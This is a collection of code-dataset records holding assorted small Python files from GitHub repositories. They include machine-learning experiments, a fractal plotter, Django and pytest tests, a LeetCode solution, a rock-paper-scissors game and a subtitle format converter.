+{"seq_id":"35515201216","text":"# import tensorflow as tf\n\n# W = tf.random.uniform(shape=[1152,8, 160])\n# x = tf.random.uniform(shape=[32, 1152, 8])\n\n# digit_caps = tf.random.uniform(shape=[10,16])\n\n# u = tf.einsum('...ji,jik->...jk', x, W)\n\n# u = tf.reshape(u,(-1, 6*6*32*10, 16)) # Or just u = tf.reshape(u,(-1, 6*6*32, 10, 16)) but this is different.\n# b = tf.constant([1,1,10,1], tf.int32)\n\n# # Normalize vectors\n# n = tf.norm(u, axis=-1,keepdims=True)\n# u = tf.multiply(n**2/(1+n**2)/(n + tf.keras.backend.epsilon()), u)\n# u = tf.multiply(tf.math.divide(tf.math.tanh(n),n), u)\n\n# u = tf.expand_dims(u, -2)\n# u = tf.tile(u,b)\n# #u = tf.ones(shape=[2,2,10,16])\n# # Want to subtract u - digit_caps \n# # Need to follow general substruction rules/ broadcasting\n# #digit_caps = tf.range(1,11,dtype=tf.float32)\n# #digit_caps = tf.expand_dims(digit_caps,1)\n# #b = tf.constant([1,16], tf.int32)\n# #digit_caps = tf.tile(digit_caps,b)\n\n# differences = u-digit_caps # Or test with u only\n# norms = tf.norm(u-digit_caps, ord='euclidean', axis=-1, keepdims=False, name=None)\n# similarities = tf.reduce_sum(tf.math.multiply(u,digit_caps),axis=-1)\n\n# # If we want neighborhood, we repeat the two lines below and concatenate them (along axis=1). Remember to multiply new norms with the neghbour distance. Also remember to not pick the same winners.\n# winners = tf.math.argmax(similarities, axis=-1, output_type=tf.dtypes.int64, name=None)\n# win_norms = tf.gather(similarities, winners, validate_indices=None, axis=-1, batch_dims=2, name=None)\n\n# win_vectors = tf.gather(u, winners, axis=2, batch_dims=2, name=None) # Same with u before expansion if different weights is not used.\n# win_differences = tf.gather(differences, winners, axis=2, batch_dims=2, name=None) # Pick the differences between u and digit_caps vectors which have the largest similarity. Those differences will be used for updating digit_caps vectors.\n# win_norms_with_vectors = tf.math.multiply(tf.expand_dims(win_norms,axis=-1) , win_differences, name=None) # Scale the differences according to their similarity. If similarity is large, the update will be proportionaly large. In original SOM, similarity is only used to pick the winner and not used anywhere else.\n# lr = tf.constant(1.0,dtype=tf.float32)\n# updates = win_norms_with_vectors * lr # Multiply with learning rate\n# updates = tf.reshape(updates,shape=[-1,*updates.shape[2:]])\n\n# winners = tf.reshape(winners,shape=[-1,*winners.shape[2:]])\n\n# y, idx, count = tf.unique_with_counts(winners, out_idx=tf.dtypes.int32, name=None)\n# win_count = tf.scatter_nd(tf.expand_dims(y,axis=-1), count, shape=[10], name=None)\n# win_weights = win_count/idx.shape[0]\n# # only_win_norms = tf.zeros_like(norms)\n# # Now we can divide by 11520 * 32 to get the mean if we want.\n# digits_update = tf.scatter_nd(tf.expand_dims(winners, axis=-1), updates, shape=[10,16], name=None)/idx.shape[0]\n\n# # Then we can multiply with win_count \n# # digits_update = digits_update * tf.expand_dims(tf.cast(win_weights, dtype=tf.float32),axis=-1)\n# # or... we can use it as a balance between old and new\n# # And lastly, add to the digit caps (in any case).\n# digit_caps = digit_caps + digits_update\n\n# output = tf.math.softmax(tf.reduce_mean(similarities, axis=-2), axis=-1) # The output tensor. If multiple iterations, just do without softmax and add means at each iteration or better, consider only the last similarities. Then do softmax outside the loop.\n\n\n# Alternative way\nimport tensorflow as tf\n\nW = tf.random.uniform(shape=[1152,8, 160])\nx = tf.random.uniform(shape=[32, 1152, 8])\n\ndigit_caps = tf.random.uniform(shape=[10,16])\n\nu = tf.einsum('...ji,jik->...jk', x, W)\n\nu = tf.reshape(u,(-1, 6*6*32*10, 16)) # Or just u = tf.reshape(u,(-1, 6*6*32, 10, 16)) but this is different.\nb = tf.constant([1,1,10,1], tf.int32)\n\n# Normalize vectors\nn = tf.norm(u, axis=-1,keepdims=True)\n# u = tf.multiply(n**2/(1+n**2)/(n + tf.keras.backend.epsilon()), u) # squash\nu = tf.multiply(tf.math.divide(tf.math.tanh(n),n), u) # tanh for vectors\n\n# To compute similarity, we need to tile the vote tensor 10 times. Of course we can use W to map each vote into 10 separate vectors (like we do now) but not merge them to the vote dimension.\nu = tf.expand_dims(u, -2)\nu = tf.tile(u,b)\n\nsparse_updates_all = tf.zeros_like(u) # u after tiling\n\n# Used if we enable weights acording to the number of wins.\nwin_count_all = tf.zeros(shape=[10], dtype=tf.int64)\n\n# Get the difference used in update.\ndifferences = u-digit_caps # Try using only the u\n\n# Create a masked digit caps in case we want multiple iterations to create a sence of neighborhood. Using masked_digit_caps we won't pick the same winners.\nmasked_digit_caps = tf.ones_like(u)\n# Compute final similarities here or at the end, after updating digit_caps?\n# similarities_final = tf.reduce_sum(tf.math.multiply(u,digit_caps),axis=-1)\n\n# List of neighboorhood\nl_thetas = [1, 0.2, 0.1]\nl_thetas = tf.constant(l_thetas, dtype=tf.float32)\nfor theta in l_thetas:\n #### IN LOOP ####\n # Get similarities\n similarities = tf.reduce_sum(tf.math.multiply(u*masked_digit_caps,digit_caps),axis=-1)\n\n # Get for each vote, which digit_caps is the winner.\n winners = tf.math.argmax(similarities, axis=-1, output_type=tf.dtypes.int64, name=None)\n\n # If you want, you can compute the winner ratio\n # winners_f = tf.reshape(winners,shape=[-1,*winners.shape[2:]])\n # y, idx, count = tf.unique_with_counts(winners_f, out_idx=tf.dtypes.int32, name=None)\n # win_count = tf.scatter_nd(tf.expand_dims(y,axis=-1), count, shape=[10], name=None)\n # win_count_all += win_count\n\n # Alternatively, we could softmax the similarities instead of having hard winners. If you do so, choose a bigger learning rate. Probably, then you should not use iterations (just one).\n\n # Convert winners to one hot vectors. Then multiply them with similarities etc. to keep win similarities. Try to multiply it with difference vectors to form the update vector.\n winners_mask = tf.keras.backend.one_hot(indices=winners, num_classes=10)\n\n lr = tf.constant(1.0,dtype=tf.float32)\n # If you want to take into account the similarity of the pairs in the update, uncomment the two lines below and comment the third one.\n #sparse_similarities = similarities * winners_mask\n #sparse_updates = differences * tf.expand_dims(sparse_similarities,axis=-1) * lr\n sparse_updates = differences * tf.expand_dims(winners_mask,axis=-1) * lr * theta\n\n # Update Mask so as to not choose the same winners as the next neighboors.\n masked_digit_caps = masked_digit_caps - tf.expand_dims(winners_mask, axis=-1)\n\n # Add the neighboors updates (if any)\n sparse_updates_all = sparse_updates + sparse_updates_all\n\n#### OUT OF LOOP ####\n# Now we average/sum the updates along the vote and batch axis.\n# updates = tf.reduce_sum(sparse_updates_all, axis=[0,1])\nupdates = tf.reduce_mean(sparse_updates_all, axis=[0,1])\n\n# If you want, you can compute the winner ratio\n# win_weights = tf.cast(win_count/idx.shape[0], dtype=tf.float32)\n\n# Then, take the tanh\n# assignment_attributes = tf.expand_dims(tf.math.tanh(win_weights), axis=-1)\n# And use it to update the digits\n# digit_caps = digit_caps + tf.expand_dims(win_weights, axis=-1) * updates\n# Or if you choose to use u instead of u - digit_caps in the difference, you could try this:\n# digit_caps = (1-assignment_attributes)*digit_caps + assignment_attributes * updates\n\n\ndigit_caps = digit_caps + updates\n\n# Take the norm of digit_caps (and repeat).\nd_norm = tf.norm(digit_caps, axis=-1,keepdims=True)\ndigit_caps = digit_caps / d_norm\n\n# Re-compute similarities with the updated vector.\nsimilarities_final = tf.reduce_sum(tf.math.multiply(u,digit_caps),axis=-1)\n# Compute the output (if we have multiple iterations, this will be out of the loop)\noutput = tf.math.softmax(tf.reduce_mean(similarities_final, axis=-2), axis=-1)\n\n\n#### Multiplication simple\nxa = tf.ones(shape=[2,2*2*3,8])\nwa = tf.ones(shape=[2*2*3,8,16])\ntf.einsum('...ji,jik->...jk', xa, wa) \n\nb = tf.constant([2,1,1,1], tf.int32)\nwa = tf.expand_dims(wa, 0)\nwa = tf.tile(wa,b)","repo_name":"abarmper/Capsule_Nets_with_uncertainty","sub_path":"Som-caps/src/dokimi.py","file_name":"dokimi.py","file_ext":"py","file_size_in_byte":8072,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"7232662271","text":"#!/usr/bin/env python3\n\"\"\"ifs_hexagonal.py\"\"\"\n\n# Code is based on Dr. Biersach's Solution\nfrom simple_screen import SimpleScreen\nfrom ifs import IteratedFunctionSystem\nfrom pygame import Color\nimport numpy as np\n\nifs = IteratedFunctionSystem()\n\ndef plot_ifs(ss: SimpleScreen) -> None:\n iterations = 200_000\n x: float = 0.0\n y: float = 0.0\n clr: Color\n\n # iterate (no drawing) to let IFS reach its stable orbit\n for _ in range(100):\n x, y, clr = ifs.transform_point(x, y)\n \n # now draw each pixel in the stable orbit\n for _ in range(iterations):\n x, y, clr = ifs.transform_point(x, y)\n ss.set_world_pixel(x, y, clr)\n\ndef main() -> None:\n ifs.set_base_frame(0, 0, 30, 30)\n\n h = 5 * np.sqrt(3)\n p: float = 1 / 5\n\n # COD\n ifs.add_mapping(25, 15, 15, 15, 20, 15 + h, Color(\"blue\"), p)\n # DOE\n ifs.add_mapping(20, 15 + h, 15, 15, 10, 15 + h, Color(\"blue\"), p)\n # EOF\n ifs.add_mapping(10, 15 + h, 15, 15, 5, 15, Color(\"blue\"), p)\n\n ifs.generate_transforms()\n\n ss = SimpleScreen(\n world_rect=((0,0), (30,30)), \n screen_size=(900,900), \n draw_function=plot_ifs,\n title=\"IFS Hexagonal\",\n )\n\n ss.show()\n\n if __name__ == \"__main__\":\n main()","repo_name":"ivan-rh22/BNL_internship2023","sub_path":"my_solutions/ifs_hexagonal.py","file_name":"ifs_hexagonal.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"28156980689","text":"# -*- coding: UTF-8 -*-\n\"\"\"\n@File :test_top_collections.py\n@Author :taofangpeng\n@Date :2022/10/17 17:51 \n\"\"\"\nimport pytest\nfrom api.top_collections import TopCollections\nfrom common.data_load import get_yaml_data\nfrom common.logger import logger\n\n\nclass TestHotCollection:\n\n @pytest.mark.parametrize('test_data', get_yaml_data('test_top_collections.yaml', 'get_type_str'))\n def test_get_type_str(self, test_data):\n logger.info(\"获取筛选类型测试数据为:{}\".format(test_data))\n res = TopCollections().get_type_str()\n assert test_data['code'] == res['code']\n assert test_data['sql_data'][0][0]['CONFIG_VALUE'].split(',') == res['data']['categories']\n assert test_data['sql_data'][1][0]['CONFIG_VALUE'].split(',') == res['data']['chains']\n assert test_data['sql_data'][2][0]['CONFIG_VALUE'].split(',') == res['data']['ranks']\n\n @pytest.mark.parametrize('test_data', get_yaml_data('test_top_collections.yaml', 'select_collection_info'))\n def test_select_collection_info(self, test_data):\n logger.info(\"获取筛选类型测试数据为:{}\".format(test_data))\n","repo_name":"jingluop/new_river","sub_path":"test_case/test_top_collections.py","file_name":"test_top_collections.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"7471157766","text":"import logging\nimport random\n\nfrom spacy.tokens import Span\n\nfrom english_exercises.exercise.exercise import Exercise\nfrom english_exercises.util import replace_word, create_synonym, create_antonym\n\nPOS_TAGS = ['NOUN', 'VERB', 'ADV', 'ADJ']\n\nDESCRIPTION = 'Выберите правильное предложение'\n\n\ndef create_sentence_transformation(sentences: list[Span], model, top_words_count = 5):\n # Упражнение: выбрать правильное предложение\n exercise_sentence_transf = []\n for s in sentences:\n if len(s) > 6: # трансформацию не будем делать на коротких предложениях\n for token in s:\n if token.pos_ in POS_TAGS:\n synonym = create_synonym(model, top_words_count, token)\n antonym = create_antonym(model, top_words_count, token)\n\n\n new_sent_1 = replace_word(s.text, token, s.start_char, synonym)\n new_sent_2 = replace_word(s.text, token, s.start_char, antonym)\n options = [s, new_sent_1, new_sent_2]\n random.shuffle(options)\n\n exercise_sentence_transf.append(\n Exercise(s.text, 'select_word', '',\n options, {s.text}, DESCRIPTION)\n )\n\n break\n logging.info(f'Количество созданных упражнений {len(exercise_sentence_transf)}')\n return exercise_sentence_transf","repo_name":"dedov-igor/english_exercises","sub_path":"english_exercises/exercise/sentence_transformation.py","file_name":"sentence_transformation.py","file_ext":"py","file_size_in_byte":1554,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"24937884592","text":"rock = '''\r\n _______\r\n---' ____)\r\n (_____)\r\n (_____)\r\n (____)\r\n---.__(___)\r\n'''\r\n\r\npaper = '''\r\n _______\r\n---' ____)____\r\n ______)\r\n _______)\r\n _______)\r\n---.__________)\r\n'''\r\n\r\nscissors = '''\r\n _______\r\n---' ____)____\r\n ______)\r\n __________)\r\n (____)\r\n---.__(___)\r\n'''\r\ngame_pictures = [rock, paper, scissors]\r\nyour_choice = input(\"What do you choose? Type 0 for Rock, 1 for Paper or 2 for Scissors.\\n\")\r\nyour_choice = int(your_choice)\r\nif your_choice == 0:\r\n print(game_pictures[0])\r\nelif your_choice == 1:\r\n print(game_pictures[1])\r\nelif your_choice == 2:\r\n print(game_pictures[2])\r\nelse:\r\n print('Please retype your choice.')\r\n quit()\r\n\r\nprint('Computer chose:')\r\nimport random\r\ncomputer_choice = random.randint(0, 2)\r\nif computer_choice == 0:\r\n print(game_pictures[0])\r\nelif computer_choice == 1:\r\n print(game_pictures[1])\r\nelif computer_choice == 2:\r\n print(game_pictures[2])\r\n \r\nif your_choice == 0 and computer_choice == 0:\r\n print('You draw')\r\nif your_choice == 0 and computer_choice == 1:\r\n print('You lose')\r\nif your_choice == 0 and computer_choice == 2:\r\n print('You win')\r\nif your_choice == 1 and computer_choice == 0:\r\n print('You win')\r\nif your_choice == 1 and computer_choice == 1:\r\n print('You draw')\r\nif your_choice == 1 and computer_choice == 2:\r\n print('You lose')\r\nif your_choice == 2 and computer_choice == 0:\r\n print('You lose')\r\nif your_choice == 2 and computer_choice == 1:\r\n print('You win')\r\nif your_choice == 2 and computer_choice == 2:\r\n print('You draw')","repo_name":"oscampbellsoup/Rock-Paper-Scissors","sub_path":"rock paper scissors.py","file_name":"rock paper scissors.py","file_ext":"py","file_size_in_byte":1614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"32860424075","text":"from django.test import TestCase\nfrom django.shortcuts import reverse\nfrom selenium import webdriver\n\nfrom forms.models import *\nfrom budget.models import *\nfrom budget.forms import *\n\nfrom .views import CreateBudgetView\n\nclass BudgetFormTest(TestCase):\n def setUp(self):\n self.test_student1 = Student.objects.create(user_id='student1', first_name=\"John\", surname=\"Smith\")\n self.test_student2 = Student.objects.create(user_id='student2', first_name=\"Jane\", surname=\"Doe\")\n\n self.test_organization = Organization.objects.create(\n organization_id=1,\n name='Test Organization',\n description='Test Organization Description'\n )\n\n def test_valid_budget_form(self):\n data = {\n 'organization': self.test_organization.organization_id,\n 'president': str(self.test_student1),\n 'president_crsid': self.test_student1.user_id,\n 'treasurer': str(self.test_student2),\n 'treasurer_crsid': self.test_student2.user_id,\n 'active_members': 10,\n 'subscription_details': 'Details of subscription',\n\n 'has_bank_account': True,\n 'sort_code': '123456',\n 'account_number': '12345678',\n 'name_of_bank': 'Bank Name',\n 'balance': 123.45,\n\n 'comments': 'Long Comments ' + 'word ' * 200,\n }\n\n form = BudgetForm(data=data)\n self.assertTrue(form.is_valid())\n\n def test_valid_budget_form_missing_data(self):\n \"\"\"Test that a budget form is valid with the minimum amount of data\"\"\"\n data = {\n 'organization': self.test_organization.organization_id,\n 'president': str(self.test_student1),\n 'president_crsid': self.test_student1.user_id,\n 'treasurer': str(self.test_student2),\n 'treasurer_crsid': self.test_student2.user_id,\n 'active_members': 10,\n 'subscription_details': '',\n\n 'has_bank_account': False,\n 'sort_code': '',\n 'account_number': '',\n 'name_of_bank': '',\n 'balance': '',\n\n 'comments': 'Long Comments ' + 'word ' * 200,\n }\n\n form = BudgetForm(data=data)\n self.assertTrue(form.is_valid())\n\n\nclass BudgetFormAccessTest(TestCase):\n \"\"\"Tests to assert whether a student has access to all+only the budgets they should be able to access\"\"\"\n def setUp(self):\n self.test_student1 = Student.objects.create(user_id='student1', first_name=\"John\", surname=\"Smith\")\n self.test_student2 = Student.objects.create(user_id='student2', first_name=\"Jane\", surname=\"Doe\")\n self.test_student3 = Student.objects.create(user_id='student3', first_name=\"Bob\", surname=\"Dill\")\n\n self.test_organization = Organization.objects.create(\n organization_id=1,\n name='Test Organization',\n description='Test Organization Description'\n )\n\n self.test_budget1 = Budget.objects.create(\n budget_id = 1,\n organization = self.test_organization,\n year = 2020,\n submitter = self.test_student1.user_id,\n president = str(self.test_student1),\n president_crsid = self.test_student1.user_id,\n treasurer = str(self.test_student2),\n treasurer_crsid = self.test_student2.user_id,\n )\n\n self.test_budget2 = Budget.objects.create(\n budget_id = 2,\n organization = self.test_organization,\n year = 2021,\n submitter = self.test_student3.user_id,\n president = str(self.test_student3),\n president_crsid = self.test_student3.user_id,\n treasurer = str(self.test_student2),\n treasurer_crsid = self.test_student2.user_id,\n )\n \n def test_student_can_view_all_past_budgets(self):\n \"\"\"Test that a student who is the president for the current budget can view all previous budgets\"\"\"\n assert self.test_budget1.student_can_edit(self.test_student3.user_id)\n assert self.test_budget2.student_can_edit(self.test_student3.user_id)\n\n\n\n\n# class BudgetFormViewTest(TestCase):\n# def setUp(self):\n# self.driver = webdriver.Firefox(executable_path='/opt/WebDriver/bin/geckodriver')\n\n# def test_create_budget_view(self):\n# # self.driver.get(reverse('budget-form'))\n# self.driver.get(reverse('dashboard'))\n# link = self.driver.find_element_by_partial_link_text('this link')\n","repo_name":"dowjcr/forms","sub_path":"forms/budget/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":4528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"70875106918","text":"from typing import *\n\n# 对于一个具有树特征的无向图,我们可选择任何一个节点作为根。图因此可以成为树,在所有可能的树中,具有最小高度的树被称为最小高度树。给出这样的一个图,写出一个函\n# 数找到所有的最小高度树并返回他们的根节点。 \n# \n# 格式 \n# \n# 该图包含 n 个节点,标记为 0 到 n - 1。给定数字 n 和一个无向边 edges 列表(每一个边都是一对标签)。 \n# \n# 你可以假设没有重复的边会出现在 edges 中。由于所有的边都是无向边, [0, 1]和 [1, 0] 是相同的,因此不会同时出现在 edges 里。 \n# \n# 示例 1: \n# \n# 输入: n = 4, edges = [[1, 0], [1, 2], [1, 3]]\n# \n# 0\n# |\n# 1\n# / \\\n# 2 3 \n# \n# 输出: [1]\n# \n# \n# 示例 2: \n# \n# 输入: n = 6, edges = [[0, 3], [1, 3], [2, 3], [4, 3], [5, 4]]\n# \n# 0 1 2\n# \\ | /\n# 3\n# |\n# 4\n# |\n# 5 \n# \n# 输出: [3, 4] \n# \n# 说明: \n# \n# \n# 根据树的定义,树是一个无向图,其中任何两个顶点只通过一条路径连接。 换句话说,一个任何没有简单环路的连通图都是一棵树。 \n# 树的高度是指根节点和叶子节点之间最长向下路径上边的数量。 \n# \n# Related Topics 广度优先搜索 图 \n# 👍 218 👎 0\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\nimport collections\n\n\nclass Solution:\n def findMinHeightTrees(self, n: int, edges: List[List[int]]) -> List[int]:\n # 拓扑排序\n # 邻接表\n if n == 1: return [0]\n\n neigh = [set() for _ in range(n)]\n degree = [0] * n # 记录每个节点的度数\n for i, j in edges:\n neigh[i].add(j)\n neigh[j].add(i)\n degree[i] += 1\n degree[j] += 1\n\n # 初始化队列:将度为1的节点入列\n queue = collections.deque([x for x in range(n) if degree[x] == 1])\n res = []\n while queue:\n res.clear()\n for _ in range(len(queue)):\n cur = queue.popleft()\n res.append(cur) # 记录度为1的节点\n for node in neigh[cur]:\n degree[node] -= 1 # 与cur相邻的节点度-1\n if degree[node] == 1: queue.append(node)\n\n return res # 最后一层的节点为根节点时,即为最小高度树\n\n # 自解\n # 邻接表\n # neighbors = [set() for _ in range(n)]\n # for i, j in edges:\n # neighbors[i].add(j)\n # neighbors[j].add(i)\n #\n # heights = {}\n # # 依次对节点进行bfs,将高度记录到heights中\n #\n # queue = collections.deque()\n #\n # def bfs(node: int):\n # visited = [False] * n\n # queue.append(node)\n # visited[node] = True\n # level = 1\n # while queue:\n # # 遍历一层的节点,并添加下一层节点\n # for _ in range(len(queue)):\n # cur = queue.popleft()\n # for neigh in neighbors[cur]:\n # if not visited[neigh]:\n # queue.append(neigh) # 如果没有被访问过,将其添加到队列中\n # visited[neigh] = True\n # level += 1\n #\n # heights[node] = level\n #\n # for i in range(n):\n # bfs(i)\n #\n # # 对heights按value排序\n # sortedHeights = sorted(heights.items(), key=lambda x: x[1])\n # res = []\n # for i, j in sortedHeights:\n # if j == sortedHeights[0][1]:\n # res.append(i)\n # else:\n # break\n # return res\n\n\n# leetcode submit region end(Prohibit modification and deletion)\n\n\nif __name__ == \"__main__\":\n a = {1, 2, 3, 4}\n for i in a:\n print(i)\n pass\n","repo_name":"HumgTop/DataStructure-Algorithm","sub_path":"LeetcodeForPython/leetcode/editor/cn/[310]最小高度树.py","file_name":"[310]最小高度树.py","file_ext":"py","file_size_in_byte":4000,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"4871501411","text":"def loadInstructions(testMode):\n cypherInVar = []\n if not testMode:\n puzzleFile = open(\"input/day9part1.txt\", \"r\")\n else:\n puzzleFile = open(\"input/day9test.txt\", \"r\")\n for line in puzzleFile:\n cypherInVar.append(int(line))\n puzzleFile.close()\n return cypherInVar\n\n\ndef decodeCypher(cypher, preambleLength):\n for position in range(preambleLength, len(cypher) - 1):\n success = False\n currentVal = cypher[position]\n for precVal1Pos in range(position - preambleLength, position):\n precVal1 = cypher[precVal1Pos]\n for precVal2Pos in range(position - preambleLength, position):\n precVal2 = cypher[precVal2Pos]\n if precVal1 + precVal2 == currentVal and precVal1 != precVal2:\n success = True\n break\n elif precVal1Pos == position - 1 and precVal2Pos == position - 1:\n return currentVal\n if success:\n break\n\n\ndef findWeakness(cypher, oddVal):\n for firstValPos in range(len(cypher) - 1):\n valuesList = []\n valuesList.append(cypher[firstValPos])\n for nextValPos in range(firstValPos, len(cypher) - 1):\n if cypher[nextValPos] not in valuesList:\n valuesList.append(cypher[nextValPos])\n if sum(valuesList) == oddVal:\n valuesList.sort()\n return valuesList[0] + valuesList[-1]\n\n\nprint(findWeakness(loadInstructions(False), decodeCypher(loadInstructions(False), 25)))\n","repo_name":"georgegebbett/adventofcode2020","sub_path":"day9part2.py","file_name":"day9part2.py","file_ext":"py","file_size_in_byte":1555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"41588053932","text":"from machine import Timer\n\ndef callback1(t:Timer):\n print(1)\n \ndef callback2(t:Timer):\n print(2)\n \ndef callback3(t:Timer):\n print(3)\n t.deinit()\n \ntime1 = Timer()\ntime1.init(freq=1,callback=callback1)\n\ntime2 = Timer()\n\ntime2.init(period=2000,callback=callback2)\n\ntime3 = Timer()\ntime3.init(period=3000,callback=callback3)\n\ndef run10(t):\n global i\n i += 1\n if i==10:\n t.deinit()\n print(i)\n \ni=1\ntimer = Timer(period=1000, mode=Timer.PERIODIC, callback=lambda t:run10(t))\ntimer = Timer(period=1000, mode=Timer.PERIODIC, callback=lambda t:print('一直執行'))","repo_name":"Itgirl333/pico_w","sub_path":"pico9_2.py","file_name":"pico9_2.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"20097955971","text":"import matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import make_axes_locatable\nfrom matplotlib.widgets import Slider\nimport scipy\nimport scipy.ndimage\nimport numpy as np\n\ndef load(name):\n npzfile=np.load(name)\n return Wave(npzfile['arr_0'],npzfile['arr_1'],npzfile['arr_2'])\n\nclass BaseArray(object):\n def __init__(self, array, sampling=None):\n\n self.array=np.array(array,dtype=complex)\n\n if len(self.array.shape)!=2 | len(self.array.shape)!=3:\n raise RuntimeError('Only 2d and 3d arrays are allowed')\n\n if sampling is not None:\n if len(self.array.shape)!=len(sampling):\n raise RuntimeError('Array shape does not match number of sampling entries')\n\n self.sampling=sampling\n self.offset=(0,0,0)\n\n self.refs=[]\n\n def get_dimensions(self):\n dimensions=(self.sampling[0]*self.array.shape[0],self.sampling[1]*self.array.shape[1])\n if len(self.array.shape)==3:\n dimensions+=(self.sampling[2]*self.array.shape[2],)\n return dimensions\n\n def get_extent(self):\n extent=[self.offset[0],self.array.shape[0]*self.sampling[0]+self.offset[0],\n self.offset[1],self.array.shape[1]*self.sampling[1]+self.offset[1]]\n if len(self.array.shape)==3:\n extent+=[self.offset[2],self.array.shape[2]*self.sampling[2]+self.offset[2]]\n return extent\n\n def get_reciprocal_extent(self):\n\n dkx=1/(self.sampling[0]*self.array.shape[0])\n dky=1/(self.sampling[1]*self.array.shape[1])\n\n extent=[-1/(2*self.sampling[0]),1/(2*self.sampling[0])-dkx,\n -1/(2*self.sampling[1]),1/(2*self.sampling[1])-dky]\n\n if not self.array.shape[0]%2==0:\n extent[0]-=.5*dkx\n extent[1]-=.5*dkx\n if not self.array.shape[1]%2==0:\n extent[2]-=.5*dky\n extent[3]-=.5*dky\n return extent\n\nclass Wave(BaseArray):\n\n def __init__(self, array, energy, sampling=None, periodic_xy=True):\n BaseArray.__init__(self, array, sampling)\n self.energy = energy\n \n @property\n def shape(self):\n return self.array.shape\n \n @property\n def wavelength(self):\n return 0.38783/np.sqrt(self.energy+9.78476*10**(-4)*self.energy**2)\n\n def z_slice(self,ind=-1):\n\n if len(self.array.shape)==2:\n raise RuntimeError('z_slice() only works for 3d wavefunctions')\n\n return Wavefunction(self.array[:,:,ind],self.energy,self.sampling[:2],self.offset)\n\n def apply_ctf(self,ctf):\n return ctf.apply(self)\n\n def resample(self,sampling):\n\n if len(self.array.shape)==3:\n raise RuntimeError('resample() only works for 2d wavefunctions')\n\n if not isinstance(sampling, (list, tuple)):\n sampling=(sampling,)*2\n\n zoom=(self.sampling[0]/sampling[0],self.sampling[1]/sampling[1])\n\n real = scipy.ndimage.interpolation.zoom(np.real(self.array), zoom)\n imag = scipy.ndimage.interpolation.zoom(np.imag(self.array), zoom)\n\n sampling=(self.array.shape[0]*self.sampling[0]/real.shape[0],\n self.array.shape[1]*self.sampling[1]/real.shape[1])\n\n return Wavefunction(real+1.j*imag,self.energy,sampling,self.offset)\n\n def save(self,name):\n np.savez(name,self.array,self.energy,self.sampling)\n \n def viewPixel(wave,method='real'):\n if len(wave.array.shape)==3:\n array=np.sum(wave.array,axis=2)\n extent=wave.get_extent()[:4]\n else:\n array=wave.array\n extent=wave.get_extent()\n\n reciprocal_space=False\n if method == 'amplitude':\n img=np.abs(array)\n elif method == 'real':\n img=np.real(array)\n elif method == 'imaginary':\n img=np.imag(array)\n elif method == 'phase':\n img=np.angle(array)\n elif method == 'intensity':\n img=np.abs(array)**2\n elif method == 'diffraction pattern':\n img=np.log(np.abs(np.fft.fftshift(np.fft.fft2(array)))**2)\n method = method + ' (log scale)'\n reciprocal_space=True\n elif method == 'diffractogram':\n img=np.log(np.abs(np.fft.fftshift(np.fft.fft2(np.abs(array)**2))))\n method += ' (log scale)'\n reciprocal_space=True\n else:\n raise RuntimeError('Unknown method: {0}'.format(method))\n \n print(\"hey3\")\n print(img.size)\n return img","repo_name":"muscaglar/HRTEM_Recon","sub_path":"musWave.py","file_name":"musWave.py","file_ext":"py","file_size_in_byte":4495,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
+{"seq_id":"7559177250","text":"import json\nimport datetime\n\ntry:\n print(\"Convert Started\\n\")\n count = 0\n with open('3.bcc', 'r', encoding='utf-8') as f1, open('3.bcc.srt', 'w', encoding='utf-8') as f2: # change input and output files\n bcc_raw = f1.read()\n bcc_json = json.loads(bcc_raw)\n for item in bcc_json['body'][0:]:\n count += 1\n raw_from = float(\"%.3f\" % (item['from'] + 0.001))\n raw_to = float(\"%.3f\" % (item['to'] + 0.001))\n bcc_from = (str(datetime.timedelta(seconds=raw_from)))\n bcc_to = (str(datetime.timedelta(seconds=raw_to)))\n f2.write(str(count) + \"\\n0\" + bcc_from[0:bcc_from.find(\".\")] + \",\" + bcc_from[bcc_from.find(\".\") + 1 : bcc_from.find(\".\") + 4] + \" --> \" + \"0\" + bcc_to[0:bcc_to.find(\".\")] + \",\" + bcc_to[bcc_to.find(\".\") + 1 : bcc_to.find(\".\") + 4] + \"\\n\" + str(item['content']) + \"\\n\\n\")\n print(\"Convert Completed\\n\")\nexcept:\n print(\"Convert Failed\")\n","repo_name":"hank9999/Subtitle-Convert","sub_path":"bcc2srt.py","file_name":"bcc2srt.py","file_ext":"py","file_size_in_byte":952,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"0"}
